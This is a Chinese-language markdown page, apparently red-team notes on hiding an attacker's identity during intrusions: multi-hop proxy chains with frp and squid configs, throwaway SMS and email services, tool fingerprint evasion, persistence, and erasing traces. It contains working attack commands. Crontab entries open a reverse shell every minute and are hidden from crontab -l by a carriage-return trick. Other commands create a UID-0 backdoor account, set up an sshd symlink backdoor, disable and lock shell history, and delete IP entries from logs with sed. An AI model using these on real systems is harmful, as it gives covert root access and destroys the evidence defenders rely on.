Skip to content

Latest commit

 

History

History
executable file
·
306 lines (180 loc) · 7.15 KB

渗透测试中的身份隐藏.md

File metadata and controls

executable file
·
306 lines (180 loc) · 7.15 KB

0x00 渗透测试身份隐藏

1 攻击源隐藏

1.1 一级代理

使用代理时的溯源效果取决于溯源人员掌握的资源。仅使用一级代理时,运营商及政府只要想回溯,都是能通过该时间段的流量进出关系一步一步回溯到攻击人员的。

搭建方式多种多样,下面给出两个:

socks5-openssh

# socks端口监听在vps服务器上。发往vps的流量未加密。
ssh -f -N -g -D 10800 localhost
# socks端口监听在输入本命令的设备上。发往vps的流量走tls加密。
ssh -f -N -g -D 10800 root@vps—ip

http-squid

apt-get install squid -y
vi /etc/squid.conf
acl SSL_ports port 443
acl CONNECT method CONNECT
http_access allow localhost manager
http_access deny manager
http_access allow localhost
http_port 21080

coredump_dir /var/spool/squid

refresh_pattern ^ftp:           1440    20%     10080
refresh_pattern ^gopher:        1440    0%      1440
refresh_pattern -i (/cgi-bin/|\?) 0     0%      0
refresh_pattern .               0       20%     4320

#白名单
acl sixtyfive_network src 123.52.65.0/255.255.128.0
http_access allow sixtyfive_network
service squid restart

1.2 多级代理

较之普通的一级代理,隐藏性更高,更难被溯源(特别是跨越了多个国家的代理),但是随着级数的增加,时延也会逐渐变长。

下面给出一个典型的多级代理形式:

attacker--> vps1-->vps2-->target

下面给出一种具体实现:

frp搭二级跳板代理

vps1上配置frps.ini:

[common]
bind_addr =0.0.0.0
bind_port = 7000
auto_token = a10232mpoxsa80fcis

vps2上配置frpc.ini:

[common]
server_addr = 192.168.44.128
server_port = 7000
auto_token = a10232mpoxsa80fcis

[socks_proxy]
type = tcp
remote_port = 32354
plugin = socks5
plugin_user = mznsu-12
plugin_passwd = tLJmxMhsy32xuaq8enYxqs3Vcg
use_encryption = true
use_compression = true

[http_proxy]
type = tcp
remote_port = 42354
plugin = http_proxy
plugin_user = qnsue-23
plugin_passwd = Pmsduw2e39dnw46iTLW54UBKJ3F
use_encryption = true
use_compression = true

启动代理

vps1:./frps frps.ini
vps2:./frpc -c ./frpc.ini

使用代理

(1)socks5代理: socks5://mznsu-12:[email protected]:32354

(2)http代理: http://qnsue-23:[email protected]:42354

之后在相关软件上配置好对应代理即可。

1.3 CDN

https://blog.csdn.net/qq_41874930/article/details/109008708

1.4 域前置

https://blog.csdn.net/qq_41874930/article/details/109008708

1.5 代理池

网上有部分服务商提供了代理池服务,该服务能够在一定时间内快速变换IP,这一技术不仅增加了封IP的困难,也极大的提高了溯源的难度。

阿里云、腾讯云、快代理、芝麻HTTP等等等等。

1.6 访问策略

iptables设置访问策略,该策略优先级是从上向下逐次匹配的。

iptables -I INPUT -s 111.111.0.0/16 -p tcp --dport 22 -j ACCEPT
iptables -I INPUT -s 192.168.1.123 -p tcp --dport 1521 -j ACCEPT
iptables -I INPUT 2 -p tcp --dport 22 -j DROP

2 匿名化

2.1 登录注册

在线手机接收验证码平台

http://yunjiema.net/

http://www.z-sms.com/

https://www.jianshu.com/p/8c064db1e6a1,等等)

在线临时邮箱

https://www.123cha.com/mailtemp/

https://yopmail.com/zh/

https://www.linshiyouxiang.net/

http://24mail.chacuo.net/

2.2 工具匿名化

传到目标设别上的工具,要注意是否含有硬编码的身份相关的信息,如:

1.内部工具是否有作者信息

2.程序内是否含有调试文件的目录路径,该路径是否含有身份信息。

3 流量隐藏

3.1 工具流量指纹

尽可能的对工具做定制化的修改,模糊掉工具内原本的指纹。

(webshell连接工具)蚁剑:

(漏洞利用协作平台)cs:

3.2 隐蔽通信

过去,使用DNS、ICMP协议作为C2载体协议被认为是一种不错的隐蔽通信方案。随着现在越来越多的流量检测设备面世,这种方式不再像过去一样有效了,这时因为DNS和ICMP协议的协议包大小及内部结构常常是有固定的模式可循的,因此稍有变动,从原理上来说就非常容易被发现。基于HTTP(s)的隐蔽通信由于其天生的结构特点与应用场景,在实战环境中更加隐蔽。有时甚至在想会不会以后出现用TCP SYN发莫斯码实现数据传输。隐蔽通信的方法不断的在演进。

4 手法隐蔽

尽可能的降低在入口突破后产生的攻击噪音,有不少地方是值得关注的:

4.1 后门的隐藏

4.1.1 后门公钥

添加公钥到.authorized_keys,这种方式已经用烂了,不新鲜了。还是蛮容易被发现的。

4.1.2 后门账户

windows 影子账户

linux账户

useradd -u 0 -o -g root -G root -M -s /bin/bash admin
useradd -d /root -c "config" -s /bin/bash config
useradd -d /home/... -s /bin/bash x -m

4.1.3 定时任务后门

(crontab -l;printf "*/1 * * * * bash -i >& /dev/tcp/192.168.44.128/5555 0>&1;\rno crontab for `whoami`%100c\n")|crontab -

(crontab -l;printf "*/1 * * * * ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=31337' ;\rno crontab for `whoami`%100c\n")|crontab -

4.1.x rootkit

4.2 历史记录的关闭

命令
export HISTFILESIZE=0
export HISTFILE=/dev/null
unset HISFILE
/bin/sh -c 'mv .bash_history ..bash_history;mkdir -p .bash_history'
/bin/sh -c 'chattr +i .bash_history '

4.3 文件的隐藏

windows下的文件高级文件隐藏

Linux下的文件隐藏

4.4 工具的免杀

4.5 通信的频率

4.6 隐身登录

ssh username@hostname "bash --noprofile --norc"

ssh -T username@host /bin/bash -i

ssh -o UserKnownHostsFile=/dev/null -T user@hostname
/bin/bash -if

5 入侵痕迹清理

5.1 攻击过程文件

后门账户

webshell

远控

扫描器

提权工具

5.2 历史记录、日志

对于日志痕迹的擦除,无痕迹是最高标准,但往往是难以实现的,就像没有完美的犯罪一样,攻击现场再怎么清理总会留下些东西。实际过程中最常用篡改和删除,但是篡改比蛮删更狡猾,更能迷惑溯源人员对攻击事件的判断。下面介绍篡改,至于删除就不提了。

哪些日志?

.bash_history
lastlog
access_log
auth
secure

5.3 清理手法

IP信息删除:

sed -i '/^101/d' /var/log/nginx/access.log
sed -i "/vim/d" ~/.bash_history
sed -i "/1609838134/d" ~/.bash_history